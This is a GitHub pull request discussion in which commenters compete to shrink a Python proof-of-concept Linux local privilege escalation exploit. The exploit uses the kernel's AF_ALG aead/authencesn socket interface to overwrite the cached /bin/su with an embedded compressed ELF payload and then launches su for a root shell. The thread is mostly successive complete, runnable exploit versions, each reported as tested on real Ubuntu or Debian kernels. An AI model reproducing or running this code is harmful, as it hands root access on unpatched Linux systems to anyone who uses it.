Skip to content

Golf harder (-20 bytes)#5

Open
yarienkiva wants to merge 1 commit intotheori-io:mainfrom
yarienkiva:patch-1
Open

Golf harder (-20 bytes)#5
yarienkiva wants to merge 1 commit intotheori-io:mainfrom
yarienkiva:patch-1

Conversation

@yarienkiva
Copy link
Copy Markdown

Thanks for this clean and well documented PoC that really helps defenders understand the root cause of the vulnerability. /s

This commit refactors the PoC to remove 20 unneeded bytes, saving disk space. Tested on Ubuntu 24.04.4 LTS (Kernel version 6.8.0-110-generic).

Thanks for this clean and well documented PoC that really helps defenders understand the root cause of the vulnerability. /s

This commit refactors the PoC to remove 20 unneeded bytes, saving disk space.
@julianbrost
Copy link
Copy Markdown

julianbrost commented Apr 29, 2026

Congrats, you were faster opening the PR! 🤣

I've found some more ways to save some precious bytes, I'm down to a total of 650 bytes at the moment (saving 82 bytes compared to the original exploit):

#!/usr/bin/env python3
import os as g,zlib,socket as s,base64 as b
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,b'\b\0\x01\0\0\0\0\x10'+b'\0'*32);v(h,5,None,4);u,_=a.accept();o=t+4;i=b'\0';u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\b'+i*3),],1<<15);r,w=g.pipe();n=g.splice;n(f,w,o,0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(b.b64decode("eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeB+XBaAYBCGV4wPD/hkx+Vo9eW34Q91uWdcRMflbD/1k2Efys+kmZefrFGQwMDAAywxDT"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Do we really need the shebang though?

Tested on Debian 13 (6.12.74+deb13+1-cloud-amd64).

@maehw
Copy link
Copy Markdown

maehw commented Apr 29, 2026

Unfortunately, all of them are the same length:
2**15 vs 32768 vs 1<<15

@AAGaming00
Copy link
Copy Markdown

incredible

@lynn
Copy link
Copy Markdown

lynn commented Apr 29, 2026

Unfortunately, all of them are the same length: 2**15 vs 32768 vs 1<<15

But 8**5 is one byte shorter 🙂

@keturn
Copy link
Copy Markdown

keturn commented Apr 29, 2026

Better yet: swap that b64decode for a85decode. That method is present since Python 3.4, so is still okay for the v3.10+ requirement.

@keturn
Copy link
Copy Markdown

keturn commented Apr 30, 2026

Or to trade off byte count for being easy to post in GitHub:

#coding=l1
e=zlib.decompress("xÚ«w…".encode("l1"))
…

Where that "xÚ«w" string should be the full binary compressed payload; the only escape required is the null at position -5 with \x00.

That (and the byte from Lynn, and removing a stray comma) gets Julian's 650 bytes down to 620. But I can't exactly post it in a comment here or even in a gist because it's not utf-8 text anymore.

@jethrogb
Copy link
Copy Markdown

The ELF header can be further optimized.

  • You can load at address 0 instead of 0x40000. This saves non-zero bits in entry point and vaddr.
  • You can put /bin/sh in the paddr part of the ELF header, that should save some bytes.
@sanecz
Copy link
Copy Markdown

sanecz commented Apr 30, 2026

We can still save 7 bytes with an quick win:

  • s.socket(38,5,0) to s.socket(38,5) as socket's proto already defaults to 0
  • reuse i earlier to pad the setsockopt opt: i=b'\0';v(h,1,b'\b\0\x01\0\0\0\0\x10'+i*32)
  • then the trailing comma at the end of cmsg

Using @keturn a85decode will also save 8 bytes, dropping Julian's 650 bytes to 635

Then on the while loop, we can save 3 more extra char by slicing e until it's exhausted instead of checking i <len(e), dropping to 632

Using a slightly more optimized ELF and removing the syscall exit, we can drop down size (compressed + a85) from 112 bytes to 98 bytes, but we might need to escape some chars if using a85decode. Going to b85decode will gives also 98 bytes, without the need to escape any char. (total 618bytes)

Clearly we can remove the shebang from the python script. Dropping down to 595 bytes.

import os as g,zlib,socket as s,base64 as b
def c(f,t,c):
 a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';v(h,1,b'\b\0\x01\0\0\0\0\x10'+i*32);v(h,5,None,4);u,_=a.accept();o=t+4;u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\b'+i*3)],1<<15);r,w=g.pipe();n=g.splice;n(f,w,o,0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(b.b85decode("c-pIX^>JfjWMqH=CI&kO5U+y40nB$`zyuBq77Q>QAet3T7MYfT@?bQB0EEiQj4=Gq&+5@@%Ld|EN6h4B)lbUI(=X0o001lY3w{"))
while e[i:]:c(f,i,e[i:i+4]);i+=4
g.system("su")

Tested on ubuntu 24.04 / 6.8.0-110-generic with python 3.12.3

@lukastautz
Copy link
Copy Markdown

lukastautz commented Apr 30, 2026

Some further optimizations based on @sanecz's version:

  • Move file opening before the function so that one doesn't need to supply the parameter f, saving 4 bytes
  • Replace 1<<15 with 8**5 (as suggested by @lynn), saving 1 byte
  • Replace pipe+splice with sendfile, as per my understanding and testing this works as well (and, at least to some degree, sendfile uses splice internally (kernel source)), so replacing r,w=g.pipe();n=g.splice;n(f,w,o,0);n(r,u.fileno(),o) with g.sendfile(u.fileno(),f,0,o), saving 24 bytes
  • Replace /usr/bin/su with /bin/su as the su replacement uses /bin/sh, so /bin/su probably exists as well (I think?), saving 4 bytes
  • Replace import os as g with import os as it's only used in three places, saving 2 bytes
  • Use t+4 directly instead of saving it in a variable as it's only used once, saving 4 bytes
  • Replace \x01 with \1 (as suggested by @florentx), saving 2 bytes
  • Replace \x10 with \20, saving 2 bytes
  • Move '\20' (originally '\x10') into a variable (as suggested by @mdsnins), saving 1 byte

Total savings: 44 bytes, so total length is 551 bytes (with trailing newline)

Tested on multiple systems.

import os,zlib,socket as s,base64 as b
f=os.open("/bin/su",0);i=0;e=zlib.decompress(b.b85decode("c-pIX^>JfjWMqH=CI&kO5U+y40nB$`zyuBq77Q>QAet3T7MYfT@?bQB0EEiQj4=Gq&+5@@%Ld|EN6h4B)lbUI(=X0o001lY3w{"))
def c(t,c):
 a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';y=b'\20';v(h,1,b'\b\0\1'+i*4+y+i*32);v(h,5,None,4);u,_=a.accept();u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b'\b'+i*3)],8**5);os.sendfile(u.fileno(),f,0,t+4)
 try:u.recv(8+t)
 except:0
while e[i:]:c(i,e[i:i+4]);i+=4
os.system("su")
@florentx
Copy link
Copy Markdown

And to replace "\x01" by "\1" to save 2 bytes?

@mdsnins
Copy link
Copy Markdown

mdsnins commented Apr 30, 2026

4 more bytes saving

import os,zlib,socket as s,base64 as b
f=os.open("/bin/su",0);i=0;e=zlib.decompress(b.b85decode("c-pIX^>JfjWMqH=CI&kO5U+y40nB$`zyuBq77Q>QAet3T7MYfT@?bQB0EEiQj4=Gq&+5@@%Ld|EN6h4B)lbUI(=X0o001lY3w{"))
def c(t,c):
 a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';v(h,1,b'\b\0\x01\0\0\0\0\x10'+i*32);v(h,5,None,4);u,_=a.accept();u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\b'+i*3)],8**5);os.sendfile(u.fileno(),f,0,t+4)
 try:u.recv(8+t)
 except:0
while e[i:]:c(i,e[i:i+4]);i+=4
os.system("su")
  • Replace \x01 to \1
  • Assign b\x10 to variable y, and rewrite bytes expression
    • b'\b\0\x01\0\0\0\0\x10' -> b'\b\0\1'+i*4+y since i is already \0
@florentx
Copy link
Copy Markdown

florentx commented Apr 30, 2026

[UPDATE]
with the walrus operator (Python 3.8)

Actually 547 + trailing new line

f=os.open("/bin/su",0);i=0;e=zlib.decompress(b.b85decode("c-pIX^>JfjWMqH=CI&kO5U+y40nB$`zyuBq77Q>QAet3T7MYfT@?bQB0EEiQj4=Gq&+5@@%Ld|EN6h4B)lbUI(=X0o001lY3w{"))
def c(t,c):
 a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';y=b'\20';v(h,1,b'\b\0\1'+i*4+y+i*32);v(h,5,None,4);u,_=a.accept();u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b'\b'+i*3)],8**5);os.sendfile(u.fileno(),f,0,t)
 try:u.recv(4+t)
 except:0
while j:=e[i:(i:=i+4)]:c(i,j)
os.system("su")
@florentx
Copy link
Copy Markdown

Can be lowered to 542 + NL, taking advantage of setsockopt returning None.

import os,zlib,socket as s,base64 as b
f=os.open("/bin/su",0);i=0;e=zlib.decompress(b.b85decode("c-pIX^>JfjWMqH=CI&kO5U+y40nB$`zyuBq77Q>QAet3T7MYfT@?bQB0EEiQj4=Gq&+5@@%Ld|EN6h4B)lbUI(=X0o001lY3w{"))
def c(t,c):
 a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';y=b'\20';v(h,5,v(h,1,b'\b\0\1'+i*4+y+i*32),4);u,_=a.accept();u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b'\b'+i*3)],8**5);os.sendfile(u.fileno(),f,0,t)
 try:u.recv(4+t)
 except:0
while j:=e[i:(i:=i+4)]:c(i,j)
os.system("su")
@florentx
Copy link
Copy Markdown

Down to 524+NL by inlining the function

import os,zlib,socket as s,base64 as b
f=os.open("/bin/su",0);t=0;e=zlib.decompress(b.b85decode("c-pIX^>JfjWMqH=CI&kO5U+y40nB$`zyuBq77Q>QAet3T7MYfT@?bQB0EEiQj4=Gq&+5@@%Ld|EN6h4B)lbUI(=X0o001lY3w{"))
while c:=e[t:(t:=t+4)]:
 a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';y=b'\20';v(h,5,v(h,1,b'\b\0\1'+i*4+y+i*32),4);u,_=a.accept();u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b'\b'+i*3)],8**5);os.sendfile(u.fileno(),f,0,t)
 try:u.recv(4+t)
 except:0
os.system("su")
@florentx
Copy link
Copy Markdown

Compressing payload without zlib header/trailer saves 5 bytes

import os,zlib,socket as s,base64 as b
f=os.open("/bin/su",0);t=0;e=zlib.decompress(b.b85decode("t9SKrV`5}vfB_~3I|dN1g24gIcVNH-4h$9yFdZP86-^eImVxqMG=l(y%F2u|{Ljzo(QC^F;#o(`<Y(1S%FNR*&R_rl"),-8)
while c:=e[t:(t:=t+4)]:
 a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';y=b'\20';v(h,5,v(h,1,b'\b\0\1'+i*4+y+i*32),4);u,_=a.accept();u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b'\b'+i*3)],8**5);os.sendfile(u.fileno(),f,0,t)
 try:u.recv(4+t)
 except:0
os.system("su")

Score: 519+NL

@lukastautz
Copy link
Copy Markdown

Replaced os.sendfile(u.fileno(),...) with u.sendfile(...), for that to work, replaced os.open with open.

import os,zlib,socket as s,base64 as b
f=open("/bin/su","rb");t=0;e=zlib.decompress(b.b85decode("t9SKrV`5}vfB_~3I|dN1g24gIcVNH-4h$9yFdZP86-^eImVxqMG=l(y%F2u|{Ljzo(QC^F;#o(`<Y(1S%FNR*&R_rl"),-8)
while c:=e[t:(t:=t+4)]:
 a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';y=b'\20';v(h,5,v(h,1,b'\b\0\1'+i*4+y+i*32),4);u,_=a.accept();u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b'\b'+i*3)],8**5);u.sendfile(f,0,t)
 try:u.recv(4+t)
 except:0
os.system("su")

Saved 12 bytes, now 508 bytes (including trailing newline).

@florentx
Copy link
Copy Markdown

florentx commented Apr 30, 2026

Good catch, with sendfile and open.

Still some small improvements:

  • sendfile returns count of bytes
  • b"A"*4 can be replaced by any 4-bytes buffer

[EDITED]

import os,zlib,socket as s,base64 as b
f=open("/bin/su","rb");t=0;e=zlib.decompress(b.b85decode("t9SKrV`5}vfB_~3I|dN1g24gIcVNH-4h$9yFdZP86-^eImVxqMG=l(y%F2u|{Ljzo(QC^F;#o(`<Y(1S%FNR*&R_rl"),-8)
while c:=e[t:(t:=t+4)]:
 a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';y=b'\20';v(h,5,v(h,1,b'\b\0\1'+i*4+y+i*32),4);u,_=a.accept();u.sendmsg([c+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b'\b'+i*3)],8**5)
 try:u.recv(4+u.sendfile(f,0,t))
 except:0
os.system("su")

7 bytes saved
Score: 500 bytes + NL

Putting a=s.socket(... line inside the try: block can still save 1 byte ...

@florentx
Copy link
Copy Markdown

florentx commented Apr 30, 2026

  • assign i and t simultaneously before loop
  • optimization described above (socket code inside try:block)
import os,zlib,socket as s,base64 as b
f=open("/bin/su","rb");h=279;t,=i=b"\0";y=b"\20";e=zlib.decompress(b.b85decode("t9SKrV`5}vfB_~3I|dN1g24gIcVNH-4h$9yFdZP86-^eImVxqMG=l(y%F2u|{Ljzo(QC^F;#o(`<Y(1S%FNR*&R_rl"),-8)
while c:=e[t:(t:=t+4)]:
 try:a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));v=a.setsockopt;v(h,5,v(h,1,b"\b\0\1"+i*4+y+i*32),4);u,_=a.accept();u.sendmsg([c+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b"\b"+i*3)],8**5);u.recv(4+u.sendfile(f,0,t))
 except:0
os.system("su")

Score: 498 bytes + trailing NL


[UPDATE]
Educational version, which restores in-memory /bin/su afterwards:

@Crihexe
Copy link
Copy Markdown

Crihexe commented May 1, 2026

Imagine using python in 2026

Me and @drank40 went with a pure binary, even smaller at 492-byte, with no libraries at all. it will basically run everywhere.

We had to pull some pretty crazy black magic, check it out here:
https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431

(our exploit uses itself as the elf payload)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet